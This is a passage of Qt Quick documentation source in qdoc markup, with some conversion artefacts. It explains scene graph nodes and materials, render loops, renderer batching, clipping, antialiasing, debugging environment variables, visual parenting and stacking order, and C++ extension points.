used to define custom graphics by defining its geometry and material. The geometry is defined using `QSGGeometry` and describes the shape or mesh of the graphical primitive. It can be a line, a rectangle, a polygon, many disconnected rectangles, or complex 3D mesh. The material defines how the pixels in this shape are filled.

A node can have any number of children and geometry nodes will be rendered so they appear in child-order with parents behind their children. `\note` This does not say anything about the actual rendering order in the renderer. Only the visual output is guaranteed.

The available nodes are:

`\annotatedlist{qtquick-scenegraph-nodes}`

Custom nodes are added to the scene graph by subclassing `QQuickItem::updatePaintNode()` and setting the `QQuickItem::ItemHasContents` flag.

`\warning` It is crucial that OpenGL operations and interaction with the scene graph happens exclusively on the render thread, primarily during the `updatePaintNode()` call. The rule of thumb is to only use classes with the "QSG" prefix inside the `QQuickItem::updatePaintNode()` function.

For more details, see the `\{Scene Graph - Custom Geometry}`.

### \section3 Preprocessing

Nodes have a virtual `QSGNode::preprocess()` function, which will be called before the scene graph is rendered. Node subclasses can set the flag `\l QSGNode::UsePreprocess` and override the `QSGNode::preprocess()` function to do final preparation of their node. For example, dividing a bezier curve into the correct level of detail for the current scale factor or updating a section of a texture.

### \section3 Node Ownership

Ownership of the nodes is either done explicitly by the creator or by the scene graph by setting the flag `\l QSGNode::OwnedByParent`. Assigning ownership to the scene graph is often preferable as it simplifies cleanup when the scene graph lives outside the GUI thread.

### \section2 Materials

The material describes how the interior of a geometry in a `\l QSGGeometryNode` is filled. It encapsulates an OpenGL shader program and provides ample flexibility in what can be achieved, though most of the Qt Quick items themselves only use very basic materials, such as solid color and texture fills.

For users who just want to apply custom shading to a QML Item type, it is possible to do this directly in QML using the `ShaderEffect` type.

Below is a complete list of material classes:

`\annotatedlist{qtquick-scenegraph-materials}`

For more details, see the `{Scene Graph - Simple Material}`

## `\section2 Convenience Nodes`

The scene graph API is very low-level and focuses on performance rather than convenience. Writing custom geometries and materials from scratch, even the most basic ones, requires a non-trivial amount of code. For this reason, the API includes a few convenience classes to make the most common custom nodes readily available.

`\list`

`\li \l QSGSimpleRectNode` - a `QSGGeometryNode` subclass which defines a rectangular geometry with a solid color material.

`\li \l QSGSimpleTextureNode` - a `QSGGeometryNode` subclass which defines a rectangular geometry with a texture material.

\endlist

## \section1 Scene Graph and Rendering

The rendering of the scene graph happens internally in the QQuickWindow class, and there is no public API to access it. There are however, a few places in the rendering pipeline where the user can attach application code. This can be to add custom scene graph content or render raw OpenGL content. The integration points are defined by the render loop.

For detailed description of how the scene graph renderer works, see \l {Qt Quick Scene Graph Renderer}.

## \section2 Threaded Render Loop

On many configurations, the scene graph rendering will happen on a dedicated render thread. This is done to increase parallelism of multi-core processors and make better use of stall times such as waiting for a blocking swap buffer call. This offers significant performance improvements, but imposes certain restrictions on where and when interaction with the scene graph can happen.

The following is a simple outline of how a frame gets composed with the threaded render loop.

1

A change occurs in the QML scene, causing `QQuickItem::update()` to be called. This can be the result of for instance an animation or user input. An event is posted to the render thread to initiate a new frame.

The render thread prepares to draw a new frame and makes the OpenGL context current and initiates a blocks on the GUI thread.

While the render thread is preparing the new frame, the GUI thread calls `QQuickItem::updatePolish()` to do final touch-up of items before they are rendered.

GUI thread is blocked.

The `QQuickWindow::beforeSynchronizing()` signal is emitted.

Applications can make direct connections (using `Qt::DirectConnection`) to this signal to do any preparation required before calls to

`QQuickItem::updatePaintNode()`.

- \li Synchronization of the QML state into the scene graph. This is done by calling the `QQuickItem::updatePaintNode()` function on all items that have changed since the previous frame. This is the only time the QML items and the nodes in the scene graph interact.

- \li GUI thread block is released.

- \li The scene graph is rendered:

- \list 1

- \li The `QQuickWindow::beforeRendering()` signal is emitted. Applications can make direct connections (using `Qt::DirectConnection`) to this signal to use custom OpenGL calls which will then stack visually beneath the QML scene.

- \li Items that have specified `QSGNode::UsePreprocess`, will have their `QSGNode::preprocess()` function invoked.

- \li The renderer processes the nodes and calls OpenGL functions.

- \li The `QQuickWindow::afterRendering()` signal is emitted. Applications can make direct connections (using `Qt::DirectConnection`) to this signal to use custom OpenGL calls

which will then stack visually over the QML scene.

- \li The rendered frame is swapped and `QQuickWindow::frameSwapped()` is emitted.

- \endlist

- \li While the render thread is rendering, the GUI is free to advance animations, process events, etc.

- \endlist

The threaded renderer is currently used by default on Linux with non-Mesa based drivers, OS X and EGLFS based QPA platforms, but this is subject to change. It is possible to force use of the threaded renderer by setting `\c {QSG_RENDER_LOOP=threaded}` in the environment.

## \section2 Non-threaded Render Loop

The non-threaded render loop is currently used by default on Windows and non-EGLFS based embedded platforms. This is mostly a precautionary measure, as not all combinations of OpenGL drivers and windowing systems have been tested.

Even when using the non-threaded render loop, you should write your code as if you are using the threaded renderer, as failing to do so will make the code non-portable.

The following is a simplified illustration of the frame rendering sequence in the non-threaded renderer.

\image sg-renderloop-singlethreaded.jpg

## \section2 Custom control over rendering with QQuickRenderControl

When using QQuickRenderControl, the responsibility for driving the rendering loop is transferred to the application. In this case no built-in render loop is used. Instead, it is up to the application to invoke the polish, synchronize and rendering steps at the appropriate time. It is possible to implement either a threaded or non-threaded behavior similar to the ones shown above.

## \section2 Mixing Scene Graph and OpenGL

The scene graph offers two methods for integrating OpenGL content: by calling OpenGL commands directly and by creating a textured node in the scene graph.

By connecting to the `\l QQuickWindow::beforeRendering()` and `\l QQuickWindow::afterRendering()` signals, applications can make OpenGL calls directly into the same context as the scene graph is rendering to. As the signal names indicate, the user can then render OpenGL content either under a Qt Quick scene or over it. The benefit of integrating in this manner is that no extra framebuffer nor memory is needed to perform the rendering. The downside is that Qt Quick decides when to call the signals and this is the only time the OpenGL application is allowed to draw.

The `\l {Scene Graph - OpenGL Under QML}` example gives an example on how to use these signals.

The other alternative is to create a `QQuickFramebufferObject`, render into it, and let it be displayed in the scene graph as a texture.

The `\l {Scene Graph - Rendering FBOs}` example shows how this can be done. It is also possible to combine multiple rendering contexts and multiple threads to create content to be displayed in the scene graph.

The `\l {Scene Graph - Rendering FBOs in a thread}` examples show how this can be done.

`\warning` When mixing OpenGL content with scene graph rendering, it is important the application does not leave the OpenGL context in a state with buffers bound, attributes enabled, special values in the z-buffer

or stencil-buffer or similar. Doing so can result in unpredictable behavior.

\warning The OpenGL rendering code must be thread aware, as the rendering might be happening outside the GUI thread.

## \section2 Custom Items using QPainter

The QQuickItem provides a subclass, QQuickPaintedItem, which allows the users to render content using QPainter.

\warning Using QQuickPaintedItem uses an indirect 2D surface to render its content, either using software rasterization or using an OpenGL framebuffer object (FBO), so the rendering is a two-step operation. First rasterize the surface, then draw the surface. Using scene graph API directly is always significantly faster.

## \section1 Logging Support

The scene graph has support for a number of logging categories. These can be useful in tracking down both performance issues and bugs in addition to being helpful to Qt contributors.

\list

\li \c {qt.scenegraph.time.texture} - logs the time spent doing texture uploads

\li \c {qt.scenegraph.time.compilation} - logs the time spent doing shader compilation

\li \c {qt.scenegraph.time.renderer} - logs the time spent in the various steps of the renderer

\li \c {qt.scenegraph.time.renderloop} - logs the time spent in the various steps of the render loop

\li \c {qt.scenegraph.time.glyph} - logs the time spent preparing distance field glyphs

\li \c {qt.scenegraph.info} - logs general information about various parts of the scene graph and the graphics stack

\li \c {qt.scenegraph.renderloop} - creates a detailed log of the various stages involved in rendering. This log mode is primarily useful for developers working on Qt.

\endlist

## \section1 Scene Graph Backend

In addition to the public API, the scene graph has an adaptation layer which opens up the implementation to do hardware specific adaptations. This is an undocumented, internal and private plugin API, which lets hardware adaptation teams make the most of their hardware. It includes:

\list

\li Custom textures; specifically the implementation of `QQuickWindow::createTextureFromImage` and the internal representation of the texture used by `Image` and `BorderImage` types.

\li Custom renderer; the adaptation layer lets the plugin decide how the scene graph is traversed and rendered, making it possible to optimize the rendering algorithm for a specific hardware or to make use of extensions which improve performance.

\li Custom scene graph implementation of many of the default QML types, including its text and font rendering.

\li Custom animation driver; allows the animation system to hook into the low-level display vertical refresh to get smooth rendering.

\li Custom render loop; allows better control over how QML deals with multiple windows.

\endlist

\*/

/\*!

\title Qt Quick Scene Graph Renderer

\page qtquick-visualcanvas-scenegraph-renderer.html

This document explains how the scene graph renderer works internally so that one can write code that uses it in an optimal fashion, both performance-wise and feature-wise.

One does not need to understand the internals of the renderer to get good performance. However, it might help when integrating with the scene graph or to figure out why it is not possible to squeeze the maximum efficiency out of the graphics chip.

\note Even in the case where every frame is unique and everything is uploaded from scratch, the default renderer will perform well.

The Qt Quick items in a QML scene populates a tree of QSGNode instances. Once created, this tree is a complete description of how a certain frame should be rendered. It does not contain any references back to the Qt Quick items at all and will on most platforms be processed and rendered in a separate thread. The renderer is a self contained part of the scene graph which traverses the QSGNode tree and uses geometry defined in QSGGeometryNode and shader state defined in QSGMaterial to schedule OpenGL state change and draw calls.

If needed, the renderer can be completely replaced using the internal scene graph back-end API. This is mostly interesting for platform vendors who wish to take advantage of non-standard hardware features. For majority of use cases, the default renderer will be sufficient.

The default renderer focuses on two primary strategies to optimize the rendering. Batching of draw calls and retention of geometry on the GPU.

## \section1 Batching

Where a traditional 2D API, such as QPainter, Cairo or Context2D, is written to handle thousands of individual draw calls per frame, OpenGL is a pure hardware API and performs best when the number of draw calls is very low and state changes are kept to a minimum. Consider the following use case:

\image visualcanvas\_list.png

The simplest way of drawing this list is on a cell-by-cell basis. First the background is drawn. This is a rectangle of a specific color. In OpenGL terms this means selecting a shader program to do solid color fills, setting up the fill color, setting the transformation matrix

containing the x and y offsets and then using for instance

`glDrawArrays` to draw two triangles making up the rectangle. The icon is drawn next. In OpenGL terms this means selecting a shader program to draw textures, selecting the active texture to use, setting the transformation matrix, enabling alpha-blending and then using for instance `glDrawArrays` to draw the two triangles making up the bounding rectangle of the icon. The text and separator line between cells follow a similar pattern. And this process is repeated for every cell in the list, so for a longer list, the overhead imposed by OpenGL state changes and draw calls completely outweighs the benefit that using a hardware accelerated API could provide.

When each primitive is large, this overhead is negligible, but in the case of a typical UI, there are many small items which add up to a considerable overhead.

The default scene graph renderer works within these limitations and will try to merge individual primitives together into batches while preserving the exact same visual result. The result is fewer OpenGL state changes and a minimal amount of draw calls, resulting in optimal performance.

## `section2 Opaque Primitives`

The renderer separates between opaque primitives and primitives

which require alpha blending. By using OpenGL's Z-buffer and giving each primitive a unique z position, the renderer can freely reorder opaque primitives without any regard for their location on screen and which other elements they overlap with. By looking at each primitive's material state, the renderer will create opaque batches. From Qt Quick core item set, this includes Rectangle items with opaque colors and fully opaque images, such as JPEGs or BMPs.

Another benefit of using opaque primitives, is that opaque primitives does not require `GL_BLEND` to be enabled which can be quite costly, especially on mobile and embedded GPUs.

Opaque primitives are rendered in a front-to-back manner with `glDepthMask` and `GL_DEPTH_TEST` enabled. On GPUs that internally do early-z checks, this means that the fragment shader does not need to run for pixels or blocks of pixels that are obscured. Beware that the renderer still needs to take these nodes into account and the vertex shader is still run for every vertex in these primitives, so if the application knows that something is fully obscured, the best thing to do is to explicitly hide it using `Item::visible` or `Item::opacity`.

`Item::z` is used to control an Item's stacking order relative to its siblings. It has no direct relation to the renderer and OpenGL's Z-buffer.

## \section2 Alpha Blended Primitives

Once opaque primitives have been drawn, the renderer will disable `glDepthMask`, enable `GL_BLEND` and render all alpha blended primitives in a back-to-front manner.

Batching of alpha blended primitives requires a bit more effort in the renderer as elements that are overlapping need to be rendered in the correct order for alpha blending to look correct. Relying on the Z-buffer alone is not enough. The renderer does a pass over all alpha blended primitives and will look at their bounding rect in addition to their material state to figure out which elements can be batched and which can not.

\image visualcanvas\_overlap.png

In the left-most case, the blue backgrounds can be drawn in one call and the two text elements in another call, as the texts only overlap a background which they are stacked in front of. In the right-most case, the background of "Item 4" overlaps the text of "Item 3" so in this case, each of backgrounds and texts need to be drawn using separate calls.

Z-wise, the alpha primitives are interleaved with the opaque nodes

and may trigger early-z when available, but again, setting

Item::visible to false is always faster.

## \section2 Mixing with 3D primitives

The scene graph can support pseudo 3D and proper 3D primitives. For instance, one can implement a "page curl" effect using a ShaderEffect or implement a bumpmapped torus using QSGGeometry and a custom material. While doing so, one needs to take into account that the default renderer already makes use of the depth buffer.

The renderer modifies the vertex shader returned from QSGMaterialShader::vertexShader() and compresses the z values of the vertex after the model-view and projection matrices has been applied and then adds a small translation on the z to position it the correct z position.

The compression assumes that the z values are in the range of 0 to 1.

## \section2 Texture Atlas

The active texture is a unique OpenGL state, which means that multiple primitives using different OpenGL textures cannot be batched. The Qt Quick scene graph for this reason allows multiple

QSGTexture instances to be allocated as smaller sub-regions of a larger texture; a texture atlas.

The biggest benefit of texture atlases is that multiple QSGTexture instances now refer to the same OpenGL texture instance. This makes it possible to batch textured draw calls as well, such as Image items, BorderImage items, ShaderEffect items and also C++ types such as QSGSimpleTextureNode and custom QSGGeometryNodes using textures.

\note Large textures do not go into the texture atlas.

Atlas based textures are created by passing QQuickWindow::TextureCanUseAtlas to the QQuickWindow::createTextureFromImage().

\note Atlas based textures do not have texture coordinates ranging from 0 to 1. Use QSGTexture::normalizedTextureSubRect() to get the atlas texture coordinates.

The scene graph uses heuristics to figure out how large the atlas should be and what the size threshold for being entered into the atlas is. If different values are needed, it is possible to override them using the environment variables \c {QSG\_ATLAS\_WIDTH=[width]}, \c {QSG\_ATLAS\_HEIGHT=[height]} and \c {QSG\_ATLAS\_SIZE\_LIMIT=[size]}. Changing these values will mostly be

interesting for platform vendors.

## \section1 Batch Roots

In addition to merging compatible primitives into batches, the default renderer also tries to minimize the amount of data that needs to be sent to the GPU for every frame. The default renderer identifies subtrees which belong together and tries to put these into separate batches. Once batches are identified, they are merged, uploaded and stored in GPU memory, using Vertex Buffer Objects.

## \section2 Transform Nodes

Each Qt Quick Item inserts a QSGTransformNode into the scene graph tree to manage its x, y, scale or rotation. Child items will be populated under this transform node. The default renderer tracks the state of transform nodes between frames, and will look at subtrees to decide if a transform node is a good candidate to become a root for a set of batches. A transform node which changes between frames and which has a fairly complex subtree, can become a batch root.

QSGGeometryNodes in the subtree of a batch root are pre-transformed relative to the root on the CPU. They are then uploaded and retained on the GPU. When the transform changes, the renderer only needs to

update the matrix of the root, not each individual item, making list and grid scrolling very fast. For successive frames, as long as nodes are not being added or removed, rendering the list is effectively for free. When new content enters the subtree, the batch that gets it is rebuilt, but this is still relatively fast. There are usually several unchanging frames for every frame with added or removed nodes when panning through a grid or list.

Another benefit of identifying transform nodes as batch roots is that it allows the renderer to retain the parts of the tree that has not changed. For instance, say a UI consists of a list and a button row. When the list is being scrolled and delegates are being added and removed, the rest of the UI, the button row, is unchanged and can be drawn using the geometry already stored on the GPU.

The node and vertex threshold for a transform node to become a batch root can be overridden using the environment variables `\c {QSG_RENDERER_BATCH_NODE_THRESHOLD=[count]}` and `\c {QSG_RENDERER_BATCH_VERTEX_THRESHOLD=[count]}`. Overriding these flags will be mostly useful for platform vendors.

`\note` Beneath a batch root, one batch is created for each unique set of material state and geometry type.

`\section2` Clipping

When setting `Item::clip` to true, it will create a `QSGClipNode` with a rectangle in its geometry. The default renderer will apply this clip by using scissoring in OpenGL. If the item is rotated by a non-90-degree angle, the OpenGL's stencil buffer is used. Qt Quick Item only supports setting a rectangle as clip through QML, but the scene graph API and the default renderer can use any shape for clipping.

When applying a clip to a subtree, that subtree needs to be rendered with a unique OpenGL state. This means that when `Item::clip` is true, batching of that item is limited to its children. When there are many children, like a `ListView` or `GridView`, or complex children, like a `TextArea`, this is fine. One should, however, use clip on smaller items with caution as it prevents batching. This includes button label, text field or list delegate and table cells.

## `\section2` Vertex Buffers

Each batch uses a vertex buffer object (VBO) to store its data on the GPU. This vertex buffer is retained between frames and updated when the part of the scene graph that it represents changes.

By default, the renderer will upload data into the VBO using `\c GL_STATIC_DRAW`. It is possible to select different upload strategy

by setting the environment variable `\c {QSG_RENDERER_BUFFER_STRATEGY=[strategy]}`. Valid values are `\c stream` and `\c dynamic`. Changing this value is mostly useful for platform vendors.

## `\section1 Antialiasing`

The scene graph supports two types of antialiasing. By default, primitives such as rectangles and images will be antialiased by adding more vertices along the edge of the primitives so that the edges fade to transparent. We call this method `\e {vertex antialiasing}`. If the user requests a multisampled OpenGL context, by setting a `QSurfaceFormat` with samples greater than `\c 0` using `QQuickWindow::setFormat()`, the scene graph will prefer multisample based antialiasing (MSAA). The two techniques will affect how the rendering happens internally and have different limitations.

It is also possible to override the antialiasing method used by setting the environment variable `\c {QSG_ANTIALIASING_METHOD}` to either `\c vertex` or `\c {msaa}`.

Vertex antialiasing can produce seams between edges of adjacent primitives, even when the two edges are mathmatically the same. Multisample antialiasing does not.

## \section2 Vertex Antialiasing

Vertex antialiasing can be enabled and disabled on a per-item basis using the `Item::antialiasing` property. It will work regardless of what the underlying hardware supports and produces higher quality antialiasing, both for normally rendered primitives and also for primitives captured into framebuffer objects, for instance using the `ShaderEffectSource` type.

The downside to using vertex antialiasing is that each primitive with antialiasing enabled will have to be blended. In terms of batching, this means that the renderer needs to do more work to figure out if the primitive can be batched or not and due to overlaps with other elements in the scene, it may also result in less batching, which could impact performance.

On low-end hardware blending can also be quite expensive so for an image or rounded rectangle that covers most of the screen, the amount of blending needed for the interior of these primitives can result in significant performance loss as the entire primitive must be blended.

## \section2 Multisample Antialiasing

Multisample antialiasing is a hardware feature where the hardware

calculates a coverage value per pixel in the primitive. Some hardware can multisample at a very low cost, while other hardware may need both more memory and more GPU cycles to render a frame.

Using multisample antialiasing, many primitives, such as rounded rectangles and image elements can be antialiased and still be \e opaque in the scene graph. This means the renderer has an easier job when creating batches and can rely on early-z to avoid overdraw.

When multisample antialiasing is used, content rendered into framebuffer objects, need additional extensions to support multisampling of framebuffers. Typically \c GL\_EXT\_framebuffer\_multisample and \c GL\_EXT\_framebuffer\_blit. Most desktop chips have these extensions present, but they are less common in embedded chips. When framebuffer multisampling is not available in the hardware, content rendered into framebuffer objects will not be antialiased, including the content of a ShaderEffectSource.

## \section1 Performance

As stated in the beginning, understanding the finer details of the renderer is not required to get good performance. It is written to optimize for common use cases and will perform quite well under almost any circumstance.

\list

\li Good performance comes from effective batching, with as little as possible of the geometry being uploaded again and again. By setting the environment variable \c {QSG\_RENDERER\_DEBUG=render}, the renderer will output statistics on how well the batching goes, how many batches, which batches are retained and which are opaque and not. When striving for optimal performance, uploads should happen only when really needed, batches should be fewer than 10 and at least 3-4 of them should be opaque.

\li The default renderer does not do any CPU-side viewport clipping nor occlusion detection. If something is not supposed to be visible, it should not be shown. Use \c {Item::visible: false} for items that should not be drawn. The primary reason for not adding such logic is that it adds additional cost which would also hurt applications that took care in behaving well.

\li Make sure the texture atlas is used. The Image and BorderImage items will use it unless the image is too large. For textures created in C++, pass QQuickWindow::TextureCanUseAtlas when calling QQuickWindow::createTexture().

By setting the environment variable \c {QSG\_ATLAS\_OVERLAY} all atlas textures will be colorized so they are easily identifiable in the

application.

- \li Use opaque primitives where possible. Opaque primitives are faster to process in the renderer and faster to draw on the GPU. For instance, PNG files will often have an alpha channel, even though each pixel is fully opaque. JPG files are always opaque. When providing images to an `QQuickImageProvider` or creating images with `QQuickWindow::createTextureFromImage()`, let the image have `QImage::Format_RGB32`, when possible.

- \li Be aware of that overlapping compound items, like in the illustration above, can not be batched.

- \li Clipping breaks batching. Never use on a per-item basis, inside tables cells, item delegates or similar. Instead of clipping text, use eliding. Instead of clipping an image, create a `QQuickImageProvider` that returns a cropped image.

- \li Batching only works for 16-bit indices. All built-in items use 16-bit indices, but custom geometry is free to also use 32-bit indices.

- \li Some material flags prevent batching, the most limiting one being `QSGMaterial::RequiresFullMatrix` which prevents all batching.

- Applications with a monochrome background should set it using `QQuickWindow::setColor()` rather than using a top-level `Rectangle` item. `QQuickWindow::setColor()` will be used in a call to `glClear()`, which is potentially faster.

- Mipmapped Image items are not placed in global atlas and will not be batched.

If an application performs poorly, make sure that rendering is actually the bottleneck. Use a profiler! The environment variable `QSG_RENDER_TIMING=1` will output a number of useful timing parameters which can be useful in pinpointing where a problem lies.

## Visualizing

To visualize the various aspects of the scene graph's default renderer, the `QSG_VISUALIZE` environment variable can be set to one of the values detailed in each section below. We provide examples of the output of some of the variables using the following QML code:

```
code
```

```
import QtQuick 2.2
```

Rectangle {

width: 200

height: 140

ListView {

id: clippedList

x: 20

y: 20

width: 70

height: 100

clip: true

model: ["Item A", "Item B", "Item C", "Item D"]

delegate: Rectangle {

color: "lightblue"

width: parent.width

height: 25

Text {

text: modelData

anchors.fill: parent

horizontalAlignment: Text.AlignHCenter

verticalAlignment: Text.AlignVCenter

}

}

```
}
```

```
ListView {
```

```
    id: clippedDelegateList
```

```
    x: clippedList.x + clippedList.width + 20
```

```
    y: 20
```

```
    width: 70
```

```
    height: 100
```

```
    clip: true
```

```
    model: ["Item A", "Item B", "Item C", "Item D"]
```

```
    delegate: Rectangle {
```

```
        color: "lightblue"
```

```
        width: parent.width
```

```
        height: 25
```

```
        clip: true
```

```
        Text {
```

```
            text: modelData
```

```
            anchors.fill: parent
```

```
            horizontalAlignment: Text.AlignHCenter
```

```
            verticalAlignment: Text.AlignVCenter
```

```
        }
```

```
    }
```

```
}
```

```
}
```

```
\endcode
```

For the ListView on the left, we set its `\l {Item::clip}{clip}` property to `\c true`. For the ListView on right, we also set each delegate's `\l {Item::clip}{clip}` property to `\c true` to illustrate the effects of clipping on batching.

```
\image visualize-original.png "Original"
```

Original

`\note` The visualized elements do not respect clipping, and rendering order is arbitrary.

## `\section2 Visualizing Batches`

Setting `\c QSG_VISUALIZE` to `\c batches` visualizes batches in the renderer.

Merged batches are drawn with a solid color and unmerged batches are drawn with a diagonal line pattern. Few unique colors means good batching.

Unmerged batches are bad if they contain many individual nodes.

```
\image visualize-batches.png "batches"
```

```
\c QSG_VISUALIZE=batches
```

## `\section2 Visualizing Clipping`

Setting `\c QSG_VISUALIZE` to `\c clip` draws red areas on top of the scene to indicate clipping. As Qt Quick Items do not clip by default, no clipping is usually visualized.

`\image visualize-clip.png`

`\c QSG_VISUALIZE=clip`

## `\section2 Visualizing Changes`

Setting `\c QSG_VISUALIZE` to `\c changes` visualizes changes in the renderer. Changes in the scenegraph are visualized with a flashing overlay of a random color. Changes on a primitive are visualized with a solid color, while changes in an ancestor, such as matrix or opacity changes, are visualized with a pattern.

## `\section2 Visualizing Overdraw`

Setting `\c QSG_VISUALIZE` to `\c overdraw` visualizes overdraw in the renderer. Visualize all items in 3D to highlight overdraws. This mode can also be used to detect geometry outside the viewport to some extent. Opaque items are rendered with a green tint, while translucent items are rendered with a red tint. The bounding box for the viewport is rendered in blue. Opaque content is easier for the scenegraph to process and is usually faster to render.

Note that the root rectangle in the code above is superfluous as the window is also white, so drawing the rectangle is a waste of resources in this case. Changing it to an Item can give a slight performance boost.

```
\image visualize-overdraw-1.png "overdraw-1"
\image visualize-overdraw-2.png "overdraw-2"
\c QSG_VISUALIZE=overdraw

\title Important Concepts In Qt Quick - The Visual Canvas

\brief Overview of visual canvas concepts

The visual canvas provided by the Qt Quick is a two dimensional canvas with z-ordering.

\section1 Coordinate System

The top-left pixel in the Qt Quick coordinate system is the [0, 0] pixel.

The coordinate system of a child item is relative to its visual parent item.

See the documentation on the

\{qtquick-visualcanvas-coordinates.html\}{Coordinate System} for

in-depth information about the coordinate system utilized by Qt Quick.

## \section1 Visual Parent

There are two separate kinds of parenting in a QML application which uses Qt Quick. The first kind is the ownership-parent (also known as the QObject parent) which determines object lifetime semantics. The second kind is the visual parent which determines where on the canvas an item is drawn, and also certain properties (for example, opacity applies to visual children).

In almost all cases, the visual parent is identical to the ownership-parent.

See the documentation about the [\{qtquick-visualcanvas-visualparent.html\}](#) {Visual Parent} for more in-depth information on the topic.

## \section1 Scene Graph

Modern computer systems and devices use OpenGL to draw graphics. Qt Quick requires OpenGL and it is used to display applications developed with Qt Quick in QML. In particular, Qt Quick defines a scene graph which is then rendered. See the documentation about the [\{qtquick-visualcanvas-scenegraph.html\}](#){Scene Graph} for in-depth information about the concept of a scene graph and why it is beneficial, and about the scene graph implementation provided by Qt Quick.

\page qtquick-visualcanvas-visualparent.html

\title Concepts - Visual Parent in Qt Quick

\brief Description of the concept of visual parent in Qt Quick

\section1 Visual Parent

When creating visual scenes with Qt Quick, it is important to understand the concept of the \e {visual parent}.

The concept of the visual parent in Qt Quick is separate from, but related to, the concept of the \e {object parent}

within the QObject parent hierarchy. All QML objects have an \e {object parent}, which is determined by the

\{qml-object-declarations\}{object hierarchy} in which the object is declared. When working with the \c QtQuick

module, the \l Item type is the base type for all visual items provided by this module, and it provides the concept of an additional \e {visual parent}, as defined by an item's \l {Item::}{parent} property. Every item

has a visual parent; if an item's \l {Item::}{parent} property value is \c null, the item will not be rendered in the scene.

Any object assigned to an item's \l {Item::}{data} property becomes a child of the item within its QObject hierarchy, for

memory management purposes. Additionally, if an object added to the data property is of the `\Item` type, it is also

assigned to the `\Item::children` property and becomes a child of the item within the visual scene hierarchy.

(Most Qt Quick hierarchy crawling algorithms, especially the rendering algorithms, only consider the visual parent

hierarchy.)

For convenience, the `\Item` `\Item::data` property is its `\Default Properties` default property. This means

that any child item declared within an `\Item` object without being assigned to a specific property is automatically

assigned to the `\Item::data` property and becomes a child of the item as described above. So, the two code

blocks below produce the same result, and you will almost always see the form shown below left, rather than the

explicit `\c data` assignment shown below right:

```
\table
```

```
\row
```

```
\li
```

```
\code
```

```
import QtQuick 2.0
```

```
Item {
```

```
    width: 100; height: 100
```

```
    Rectangle { width: 50; height: 50; color: "red" }
```

```
}
```

```
\endcode
```

```
\li
```

```
\code
```

```
import QtQuick 2.0
```

```
Item {
```

```
    width: 100; height: 100
```

```
    data: [
```

```
        Rectangle { width: 50; height: 50; color: "red" }
```

```
    ]
```

```
}
```

```
\endcode
```

```
\endtable
```

An item's visual parent can be changed at any time by setting its `\l {Item::}{parent}` property. Thus, an item's

visual parent may not necessarily be the same as its object parent.

When an item becomes the child of another item:

```
\list
```

```
\li The child's \l {Item::parent}{parent} refers to its parent item
```

The parent's `children` and `childrenRect.x` properties takes that

child into account

Declaring an item as a child of another does not automatically mean that the child item will be appropriately

positioned or sized to fit within its parent. Some QML types may have in-built behaviors that affect the positioning

of child items – for example, a `Row` object automatically re-positions its children into a horizontal formation –

but these are behaviors enforced by the types' own specific implementations. Additionally, a parent item will not

automatically clip its children to visually contain them within the parent's visual bounds, unless its `clip`

property is set to true.

The visual parent of an item may come under consideration in particular circumstances, as described in the sections

below.

## Item Coordinates

As item coordinates are relative to the visual parent, they can be affected by changes to the visual hierarchy. See

the [Visual Coordinates](#) concept page for more detail.

## Stacking Order

Qt Quick items use a recursive drawing algorithm for determining which items are drawn on top in case of collisions.

In general items are drawn on top of their parent items, in the order they were created (or specified in the QML file).

So in the following example, the blue rectangle will be drawn on top of the green rectangle:

\snippet qml/visualparent.qml 0

\image visual-parent-example.png

Because the algorithm recurses through the visual item hierarchy, any children of the green rectangle will also be drawn beneath

the blue rectangle and beneath any of the blue rectangle's children.

Stacking order can be influenced with the `\Item::z` property. Z values below 0 will stack below the parent, and if z

values are assigned then siblings will stack in z-order (with creation order used to break ties). Z values only affect

stacking compared to siblings and the parent item. If you have an item who is obscured by a subtree rooted above its

parent item, no z value on that item will increase its stacking order to stack above that subtree. To stack that item

above the other subtree you'll have to alter z values farther up in the hierarchy, or re-arrange the visual item

hierarchy.

\snippet qml/visualparent2.qml 0

\image visual-parent-example2.png

In the above example, the red rectangle has a high z value, but is still stacked below the blue rectangle. This is

because it is a child of the green rectangle, and the green rectangle is a sibling of the blue rectangle. The z value

of the green rectangle is lower than that of the blue rectangle, so the green rectangle and all children will be

stacked beneath the blue rectangle.

## \section2 Canvas Ownership

The definition of what is rendered in a Qt Quick scene is the visual item tree rooted at `QQuickWindow::contentItem`.

Therefore to add an Item to a specific Qt Quick scene for rendering it needs to become a visual hierarchy child of an

Item already in the visual item hierarchy, such as `QQuickWindow::contentItem`.

\title Important Concepts In Qt Quick - Visual Types

\brief Overview of visual type concepts

Most user-interfaces include some visual aspect. While multimodal interfaces  
are extremely interesting and can be very engaging and interactive (using,  
for example, haptic feedback and sounds to notify the user of changes in the

state of an application), visual objects in a user-interface are able to convey a huge amount of information to the user at a glance.

See the \{Qt Quick QML Types} page for the complete list of visual object types provided by Qt Quick.

\page qtquick-cppextensionpoints.html

\title C++ Extension Points Provided By Qt Quick

\brief Description of the C++ extension points provided by the Qt Quick module

All QML applications can be extended from C++ in order to use additional  
functionality implemented in C++ code or to provide a C++ based QML plugin.  
This topic of extending QML from C++ is covered in the \l {Integrating QML and C++}  
documentation.

Additionally, the Qt Quick module provides several extension and integration points for C++  
developers, specific to this module. In particular, it allows C++ developers to create and register custom  
QQuickItem-derived types which can be rendered by Qt Quick. It also provides  
several scene graph-related classes which allow developers to define their own  
rendering primitives.

\target user-defined-qquickitem-derived-types

## \section1 User-Defined QQuickItem-Derived Types

While the Qt Quick module already provides a rich library of visual item types for use in a QML application, some developers may wish to define their own item-derived types in C++ and expose them to the QML type system. The easiest way to do this is to subclass QQuickItem, which is the base type for all visual types in the Qt Quick module. See the QQuickItem documentation for more details.

\target scene-graph-related-classes

## \section1 Scene Graph-Related Classes

Qt Quick 2 makes use of a dedicated scene graph based on OpenGL ES 2.0 or OpenGL 2.0 for its rendering. Using a scene graph for graphics rather than the traditional imperative painting systems (QPainter and similar), means the scene to be rendered can be retained between frames and the complete set of primitives to render is known before rendering starts. This opens up for a number of optimizations, such as batching the OpenGL draw calls to minimize state changes or discarding obscured primitives.

The \I {Qt Quick C++ Classes}{Qt Quick C++ API} provides various classes to enable custom nodes to be created in C++.

See the \I {Qt Quick Scene Graph} documentation for details.

\target pixmap-and-threaded-image-support

\section1 Pixmap and Threaded Image Support

While the QML engine allows QML application to load images from filesystem or network resources, some applications may require the additional option of loading images from C++ based processes. This can be implemented through the QQuickImageProvider class, which provides support for pixmap loading and threaded image requests for QML applications. Any QML application that requests an image through the special "image:" URL scheme will be directed to an appropriate image provider to load the image.

